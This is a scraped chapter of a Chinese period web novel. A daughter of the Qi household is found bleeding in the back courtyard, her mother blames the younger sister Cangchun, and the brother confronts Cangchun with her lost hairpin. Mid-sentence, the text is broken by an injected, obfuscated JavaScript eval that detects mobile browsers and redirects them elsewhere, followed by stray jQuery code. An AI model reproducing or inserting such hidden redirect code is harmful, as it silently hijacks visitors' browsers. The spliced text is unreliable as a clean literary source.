巡夜的小厮手提着油纸灯笼,一手缩在袖筒里取暖,他依例巡视完前头几个灯火尚存的主院,才慢吞吞踱向最僻静的后院。
冷风打着旋儿,偌大的宅院在夜色中显得格外空旷。
小厮心里发毛,嘴里念念叨叨给自己壮胆:“妖魔鬼怪快走开…妖魔鬼怪快走开…”脚下深一脚浅一脚地踩着石板路。
行至后院角门附近,脚下突然被什么东西绊住,一个趔趄差点摔倒,一股寒意窜上脊梁骨,他惊出一身冷汗,直觉周遭阴风飒飒。
他强撑着胆子,用灯笼微弱的黄光往地上一照,“啊!”
小厮连滚带爬地往前院跑,“不好了,大小姐…大小姐在后院晕倒了,流了好多血!”
刹那间,戚宅各处次第亮起灯火。
仆妇们奔走相告,正房、偏厦的房门纷纷打开,文芝被小心翼翼地抬回她的闺房,安置在铺着锦褥的塌上。
她的血仍是温热,人却已陷入昏迷,脸色灰败。
杜姨娘跌跌撞撞扑到床边,声音抖得不成样子:“文芝…方才…方才还好好与我说话的…怎么会这样…怎么会…”
杏林堂的李大夫被仆人火速请来,他提着沉重的医箱,神色凝重,先仔细查看了文芝后脑的伤口,用煮过的细麻布蘸着药水清理。
随后取出脉枕垫在文芝腕下,屏息凝神,手指搭上寸关尺,闭目切脉。
戚焕和宋明音披了外衣赶来,衣带都未系整齐,藏春和风林紧随其后,默默站在后面。
藏春藏在袖中的指节因用力而泛出青白,她茫然地望着攒动的人影,眼前仿佛隔着一层白雾。
戚风堂稍迟片刻才踏入房内,他的目光看过屋内众人,最后在藏春苍白的脸上停留,他定了定神,走到塌前,看着文芝毫无生气的脸和僵硬的身体,下颌微微绷紧:“李大夫,舍妹情形如何?”
李大夫收回手,缓缓摇头,语气沉重:“大小姐颅骨被尖锐硬物撞击,震伤脑髓,能否醒来只能看天意了,且她额角本就有旧伤,此次再受重创,雪上加霜啊。”他一边说,一边打开医箱,取出银针,准备施针。
杜姨娘浑身软软地向后倒去,戚风堂眼疾手快扶住她:“姨娘,你要撑住,文芝她还需要你。”
“李大夫,那她腹中的孩子呢?”宋明音也急忙问道。
“若大人能熬过此劫,腹中胎儿或可保一线生机。”李大夫捻起银针,在烛火上燎过。
“大夫,务必用最好的药材,不管多少银子,我妹妹还那么年轻,一定要救她。”戚风堂的声音略显沉重。
藏春咽下一口冰冷的唾沫,感觉喉咙干涩发紧,她上前虚虚地搀扶住戚焕:“爹,大姐姐会没事的。”她的手在戚焕臂弯下微微颤抖,心中那根紧绷的弦却随着大夫的话松动了一分。
文芝躺在那里,杜姨娘摸着她的脸,泪水涟涟:“我苦命的女儿,你若有长短,叫姨娘怎么活。”
她哭了好一会,待熬过最痛苦的时候,杜姨娘越想越觉得不对劲,好好的人走路怎么会撞在石头上,她转过来对戚焕说:“老爷,是有人要害咱们文芝,一定是有人推她,老爷我们要给文芝讨一个公道。”
藏春与风林站在一起,沉默不语,屋内的沉重气氛,似乎只有文芝醒来才能打破。
杜姨娘身旁的贴身丫鬟墨香突然从外面进来,身上带着些寒露,神情有些许慌张,凑到她耳边低语了几句。
杜姨娘脸色瞬间变了,抹了一下脸上的泪痕,抬手指便指向藏春:“是你对不对,定是你因张诗隐之事怀恨在心,便对文芝下了手。”
众人脸色发生了微妙的变化,藏春一时间成了众矢之的,脸色由白转红,脊背却绷得直直的,“我不知道姨娘在说什么。”
戚风堂踅身,严严实实得挡在藏春身前,一大片阴影瞬间遮过来,藏春只觉得自己又能喘息了。
她调整好情绪,将自己的怯色全都藏起来。她心里虽愧但十分明晰,自己所做的一切不过为了自保,文芝变成这样非她所愿,是她自己咎由自取。
若非文芝咄咄逼人,又何至于此。
“姨娘还请慎言。”戚风堂脸色有些冷峻。
“杜姨娘,我看你是急糊涂了,”宋明音皱着眉开口,“藏春那性子,比棉花团子还软,哪干得出这等事?快别胡说了。”戚焕也疲惫地摆手,又不忍斥责杜姨娘:“话可不能乱说…”
杜姨娘见无人信她,更是急怒攻心,拉过身旁的墨香:“你说,把你听到的都说出来。”
墨香跪在地上,身子有些发颤,“是半夜上茅房的小厮,说听见了二小姐和大小姐在后院吵闹的声音,好像还提到了…”她支支吾吾。
“你快说啊。”宋明音听着着急。
戚风堂审视的目光落在墨香头顶,她更是紧张,“说…说是隐约提到了…姑爷名字。”
那小六子很快被带上来,复述的话与墨香所言别无二致,时间也与李大夫推断的文芝受伤时间大致吻合。
“老爷,你听到了,就是藏春害了文芝。”
藏春白着脸,“姨娘,我的确和大姐姐聊了几句,大姐姐因为姐夫的事对我不满,想必爹和大夫人还有风林都是有目共睹的,况且当时你们让我骗姐夫,是求着我的。”平静的声音带着罕见的愠怒,藏春将话头一转,戚焕果然面上有挣扎。
“姨娘,我知道您难过,可二姐姐绝不会做这种事,平日大姐姐脾气那么不好,她都不跟大姐姐计较的。”风林忍不住替藏春申冤。
杜姨娘见亲儿子也胳膊肘往外拐,气得心口绞痛:“你们都不信我,我要报官,我还要等姑爷来!”她一早便差人给张诗隐送了信,他是文芝的丈夫,两个人又有了孩子,总该有几分情意的。
张诗隐在张家陪嫂子用饭,一收到戚宅的消息,便匆匆出门。
赶来时,戚宅已是一片混乱。
“姑爷,你可算来了,快看看文芝罢,她…她这样都是被藏春害的,你要为文芝讨个公道啊,她肚子里还有你的孩子。”杜姨娘帕子抵在唇边,隐隐抽噎。
张诗隐原本打算明日来接文芝一起去汴京,万万没想到会发生这种意外。
他目光越过众人,落在被戚风堂护在身后的藏春身上,他以为自己会恨她,可此刻心中翻涌的,竟更多是酸涩与复杂。他移开目光,声音干涩的对杜姨娘说:“藏春不是那样的人,这中间是不是有什么误会。”
这话彻底粉碎了杜姨娘对他的指望,他甚至都没问上一句前因后果。杜姨娘更加坚定了报官的念头:“好,你们都不管,我明日一早就去击鼓鸣冤,文芝是我的亲生女儿,我不能让她受这么大的委屈。”
戚焕被吵得头痛欲裂,实在支撑不住,宋明音扶着他:“老爷,你先回去歇着,这里有我们盯着,文芝一有消息立刻告诉你。”戚焕疲惫地点点头,被推着离去。
“爹娘都去歇息吧,这里交给我处理。”戚风堂将事揽过,宋明音倒是省得费神,她点点头,便随着戚焕一起走了。
杜姨娘哭得双眼红肿如桃,却仍坚持明日要报官。张诗隐在旁沉默着,身为文芝的丈夫,他理应留下来与杜姨娘轮流守夜。
李大夫临走前交代,今晚最为凶险,若能挺过,性命便算保住。
文芝房中只剩下杜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837016|188998||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
姨娘与张诗隐守着。
杜姨娘接过张诗隐递来的刚从铜盆热水里拧出的布巾,给昏迷的文芝擦了把脸。
“姑爷…”杜姨娘试探着看向他晦暗的脸色,“文芝若真…醒不过来…你如今已是司禄参军,前程要紧…”她话没说尽,但意思昭然,他不喜文芝,如今前程大好,会不会就此撒手?
“姨娘宽心,我既认了她为妻,便不会弃之不顾,眼下最紧要的,是盼她醒来,其余诸事皆可暂缓。”张诗隐已在心中盘算,将启程赴汴京上任的日期向后推延。
听他如此承诺,杜姨娘心头稍定,不再多言,至于指证藏春之事,她也不再急于与张诗隐争辩,待她寻到铁证,自有公道可言。
今夜宅里所有的下人都听到动静出来伺候,唯独兰翠没有出现在众人的视线里。
她在后院耳房,死死扯住柳先生的手。
“放手,你拦我作甚,难不成要包庇凶手?”柳先生压着嗓子低吼。
兰翠寸步不让,声音同样压得极低,却带着一股豁出去的狠劲:“你要去报信,这是把二小姐往死路上逼。”
方才柳先生愤然离家透气,却在不经意间,撞破了后院的文芝和藏春的争执,他未听完便匆忙折返,欲将所见所闻禀报戚焕,却被兰翠堵在门口。
“我只是去道明真相!”柳先生奋力想挣脱,眼中满是不可置信与鄙夷,“你可知我听见了什么?”
他看着兰翠惊疑愤怒的目光,仿佛说出那话都污了他的口舌,“…二小姐她对大少爷竟存了…不该有的情愫,她们争执便是为此。”
兰翠只觉得脑中“嗡”的一声,藏春她怎么会?不…不可能,她艰难地咽了口唾沫,试图驱散这个消息带来的眩晕感。
柳先生见她震惊失语,更坚定了要往外闯的决心:“如此悖逆人伦之事,岂能包庇?我柳某人只为求一个正道公理!”
兰翠却猛地扑上来,不顾一切地死死抱住他的腰,用尽全身力气将他拖住:“不行!你不能去,我不许你害她,二小姐是我从小看着长大的,从那么丁点大的奶娃娃拉扯到如今…我绝不能让你毁了她。”
“况且,你亲眼看见是二小姐推了大小姐吗?”兰翠抓住关键,“二小姐心地善良,绝不会做出谋害姐姐的事,一定是大小姐自己绊倒的。”
“我的确没见真切,我只是想将我看到的一切告知众人。”柳先生只觉与她说不清楚,仍然坚持自己的公理,越过兰翠往外去。
情急之下兰翠跪在他面前,仰头死死盯着他,“就当我求你了,真的不能说,你就当…就当藏春是我亲生的女儿,若…若大小姐当真救不回来,那时我绝不拦你。”
看着她那不顾一切的护犊举动,柳先生额头青筋跳动。
耳房里最终化作一声沉重悠长的叹息。
踩着一地冷寂湿寒,藏春终于回到了自己熟悉的闺房。
门扉紧闭,她脚底发软发麻,背依靠着木门缓缓滑落,紧绷的神经稍得喘息。
终于熬过了今晚的惊心动魄,她刚喘口气。
戚风堂紧随其后的跟了过来。
他直接打开了藏春的房门,又疾速转身从里面紧紧关死,面色阴沉骇人,语气带着质问,“是你做的?
“不是我。”藏春绝口否认,却不敢对上他的眼睛。
戚风堂缓缓抬手,动作如同雪水化泥那般的拖泥带水,每个字每句话都带着挣扎的涩意。
那只支两个人都无比熟悉的橘钗,慢吞吞的在他掌心摊开。
这是藏春今夜遗落在后院的。
明晃晃的光泽瞬间映在藏春凝固的脸上。